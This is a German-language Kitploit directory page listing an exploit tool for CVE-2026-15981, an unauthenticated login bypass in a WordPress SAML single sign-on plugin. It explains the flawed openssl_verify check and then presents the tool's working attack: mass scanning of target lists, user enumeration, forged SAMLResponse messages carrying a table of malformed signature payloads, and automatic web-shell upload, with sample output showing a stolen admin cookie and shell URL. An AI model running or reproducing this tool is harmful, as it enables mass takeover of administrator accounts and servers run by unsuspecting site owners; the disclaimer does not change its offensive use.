Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den Parameter SAMLResponse | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-15981
Authentifizierung & AutorisierungPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstests
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den Parameter SAMLResponse

Repository anzeigen
vor 25 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den SAMLResponse-Parameter

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Nicht authentifizierte Authentifizierungsumgehung

Proof-of-Concept-Exploit
Fehlerhafte Signatur → `openssl_verify()` gibt `-1` zurück → PHP-Loose-Cast auf `true` → `wp_set_auth_cookie()` als Administrator


Schwachstellenübersicht

Beschreibung

Das Plugin SAML Single Sign On – SSO Login für WordPress ist in allen Versionen bis einschließlich 5.4.4 anfällig für eine Authentifizierungsumgehung. Dies liegt daran, dass die Funktion mo_saml_validate_signature() eine lose boolesche Prüfung auf dem rohen Tri-State-Integer durchführt, den PHP's openssl_verify() zurückgibt, wodurch ein Fehler-Rückgabewert von -1 als truthy ausgewertet und daher als erfolgreiche Signaturprüfung behandelt wird.

Dies ermöglicht es nicht authentifizierten Angreifern, sich als beliebige vorhandene WordPress-Benutzer, einschließlich Administratoren, anzumelden, indem sie eine manipulierte SAMLResponse übermitteln, die eine angreiferkontrollierte NameID und einen absichtlich fehlerhaften Signaturwert enthält, der einen OpenSSL-Verarbeitungsfehler auslöst — wodurch die Verifizierung vollständig umgangen wird und wp_set_auth_cookie() für das Zielkonto aufgerufen wird.

Grundursache

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

Der Fix ist trivial — if ($result === 1) statt if ($result) — doch die Auswirkung der Schwachstelle ist eine vollständige Authentifizierungsumgehung.


Funktionen

  • Multi-Target-Massenscan — parallele Verarbeitung von Ziellisten
  • Vollständiges WordPress-Fingerprinting — bestätigt WordPress, bevor fortgefahren wird
  • Plugin-Erkennung & Versionsprüfung — erkennt miniOrange SAML SSO und validiert Version ≤ 5.4.4
  • SP-Metadaten-Ermittlung — extrahiert Entity-ID und ACS-URL aus ?option=mosaml_metadata
  • Umfassende Benutzerenumeration:
    • WP-REST-API (/wp-json/wp/v2/users)
    • REST-Abfragen pro ID (IDs 1–10)
    • Autor-Archiv-Weiterleitungen (/?author=N)
    • HTML-Body-Musterabgleich
    • Domainbasierter Fallback + gängige Admin-Namen
  • IdP-Issuer-Ermittlung — folgt ?option=saml_user_login-Weiterleitungen und extrahiert IdP-Basis-URLs
  • SAMLResponse-Fälschungs-Engine:
    • Korrekte Exclusive-C14N-Kanonisierung via lxml
    • Korrekte Digest-Berechnung (SHA-1/SHA-256/SHA-384/SHA-512)
    • Injektion des Signature-Elements nach </Issuer> gemäß SAML-Spezifikation
    • 12+ fehlerhafte Signatur-Payloads, die darauf ausgelegt sind, openssl_verify() = -1 auszulösen
    • Iteriert über Benutzer × Issuer × Algorithmen × Signaturen × Audience-Flags × SP-Entitäts-IDs
  • Sitzungsprüfung — prüft nach jedem Versuch auf wordpress_logged_in_*-Cookie

Anforderungen

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml ist erforderlich für die korrekte Exclusive-C14N-Kanonisierung der SAML-Assertion.


Verwendung

root@kitploit:~
python CVE-2026-15981.py

Sie werden zu Folgendem aufgefordert:

AbfrageBeschreibungStandard
ZieldateiPfad zu einer Textdatei mit einem Ziel pro Zeilelist.txt
ThreadsAnzahl der parallelen Worker (1–100)5

Format der Zieldatei

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Eine URL pro Zeile. HTTP wird standardmäßig verwendet, wenn kein Schema angegeben ist.


Ausgabe

Terminal

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Jedes Ziel durchläuft 7 beschriftete Phasen:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

Ergebnisdateien

DateiInhalt
sms.txtEine Zeile pro bestätigter Admin-Sitzung — Zeitstempel, Ziel, Benutzer, Cookie, Shell-URL, Issuer, Signaturmethode
sms_debug.jsonVollständiges Diagnose-JSON für jedes Ziel — einschließlich Versuchszählern und Fehlerklassifizierungen

Format der Ergebniszeile

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Zusammenfassung

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Exploitation-Pipeline

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Fehlerhafte Signatur-Payloads

Der Exploit enthält 12+ Signatur-Payloads, die gezielt dafür entwickelt wurden, openssl_verify() = -1 auszulösen:

Jeder Payload wird mit SHA-1- und SHA-256-Algorithmus-URIs kombiniert und mit/ohne Audience-Einschränkung über mehrere SP-Entitäts-IDs getestet — was die Chance maximiert, den -1-Rückgabepfad auf jeder OpenSSL-Version zu treffen.


Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests sowie Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche schriftliche Genehmigung besitzen.

Unbefugter Zugriff auf Computersysteme ist eine Straftat. Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieser Software entstehen. Sie sind allein dafür verantwortlich, die Einhaltung aller geltenden Gesetze und Vorschriften in Ihrer Rechtsordnung sicherzustellen.


Von: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Tool herunterladen
FeldDetail
CVE-IDCVE-2026-15981
Betroffenes PluginminiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Betroffene VersionenAlle Versionen bis einschließlich 5.4.4
TypNicht authentifizierte Authentifizierungsumgehung
CWECWE-287: Fehlerhafte Authentifizierung / CWE-305: Authentifizierungsumgehung durch primäre Schwachstelle
CVSS 3.19.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthentifizierungKeine erforderlich
  • Admin-Rollenbestätigung — prüft Zugriff auf /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Profil-Extraktion — liest Benutzername und E-Mail aus /wp-admin/profile.php
  • 4 Shell-Upload-Methoden bei bestehender Admin-Sitzung:
    • M1 — Plugin-ZIP-Upload via plugin-install.php
    • M2 — REST-API-Plugin-Upload via /wp-json/wp/v2/plugins
    • M3 — Dateischreiben über Theme-/Plugin-Editor
    • M4 — Asynchroner Media-Upload
  • Shell-Ausführungsprüfung — bestätigt Nx-zD-Signatur im Antworttext
  • Diagnose-Engine — klassifiziert Fehlerursachen (DIGEST_FAIL, ISSUER, AUDIENCE, TIME usw.)
  • Debug-JSON-Ausgabe — vollständiges Diagnoseprotokoll pro Ziel zur Analyse
  • PayloadBeschreibung
    0xFF * 256256 Bytes 0xFF — ungültiges PKCS#1-Padding
    0xFF * 384384 Bytes für RSA-3072-Schlüssellängen
    0xFF * 512512 Bytes für RSA-4096-Schlüssellängen
    0xFF * 128Kürzerer Puffer für kleinere Schlüssellängen
    0xFF * 64Minimales ungültiges Padding
    0x00 0x01 0xFF*254Sieht wie PKCS#1 v1.5 aus, aber mit falscher Struktur
    0x00 0x01 0xFF*126Kürzere PKCS#1-ähnliche Struktur
    null_2BZwei an Null angrenzende Bytes
    rand_3B / rand_7BZufällige Bytes — löst Parsing-Fehler aus
    asn1_badFehlerhafte ASN.1-DER-Sequenz
    ff_1BEinzelnes 0xFF-Byte